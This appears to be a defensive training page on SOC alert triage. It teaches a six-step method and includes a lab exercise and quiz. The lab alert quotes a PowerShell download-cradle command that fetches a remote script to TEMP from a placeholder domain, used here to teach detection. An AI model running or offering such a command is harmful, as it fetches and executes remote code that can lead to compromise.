HackBlue

Tools · SIEM and detection engineering · 15 / 24

Alert triage for SOC analysts: a repeatable method for deciding true or false positive

Use a consistent sequence for every alert: understand the rule, establish the entities, gather context, form a hypothesis, decide, and document so the next analyst benefits.

11 min read · practice only with authorization

Six steps

First, read what the rule is meant to detect and its known false positives. Second, identify the entities: user, host, process, IP, domain, file hash. Third, gather context around them: what happened on that host 30 minutes before and after, is the user expected to do this, is the IP or hash known. Fourth, form a hypothesis about what happened. Fifth, decide: benign true positive, false positive, or suspicious and escalate. Sixth, document the evidence that led to the decision.

Context sources

Endpoint process trees, authentication history, asset inventory (is this a server or a developer laptop?), identity data (role, manager, recent changes), threat intelligence lookups for hashes and domains, and ticket history for similar alerts. Avoid uploading sensitive internal files to public analysis sites; use hash lookups instead.

Lab: triage a practice alert

Take this lab alert: “Suspicious PowerShell download cradle” on host FIN-LT-042, user j.doe, command line powershell -c iwr https://updates.example.net/agent.ps1 -OutFile $env:TEMP\a.ps1, parent process explorer.exe. Work through the six steps on paper. What would you check next, what would make it benign, and what would make you escalate? Then compare with the sample notes below.

Snippet
Rule: PowerShell downloading a script to TEMP (T1059.001, T1105).
Entities: user j.doe, host FIN-LT-042, domain updates.example.net, file %TEMP%\a.ps1.
Context: domain first seen today; not in software inventory; user in finance; no change ticket;
         a.ps1 executed 40 s later; outbound connection to 192.0.2.80 followed.
Hypothesis: user ran a script from an emailed instruction; possible initial access.
Decision: escalate as suspicious, isolate host, preserve a.ps1 hash, check email for the lure.

Triage pitfalls

Closing an alert because it looks like the last ten false positives, without checking the entities. Treating a threat-intel “clean” result as proof of safety. Not recording the reason for closure, which makes tuning impossible. Speed matters, but a consistent method is what keeps speed from becoming guesswork.

Diagram

Triage sequence

  1. Understand the rule

    What is it for; what are the known false positives?

  2. Entities

    User, host, process, IP, domain, hash.

  3. Context

    Timeline around the event, asset role, user role, intel.

  4. Decide and document

    False positive, benign true positive, or escalate, with evidence.

Check yourself

1. What should an analyst do first with a new alert?

2. An admin ran an approved script that correctly matched a rule. How is it classified?

3. Why document the reason for closing an alert?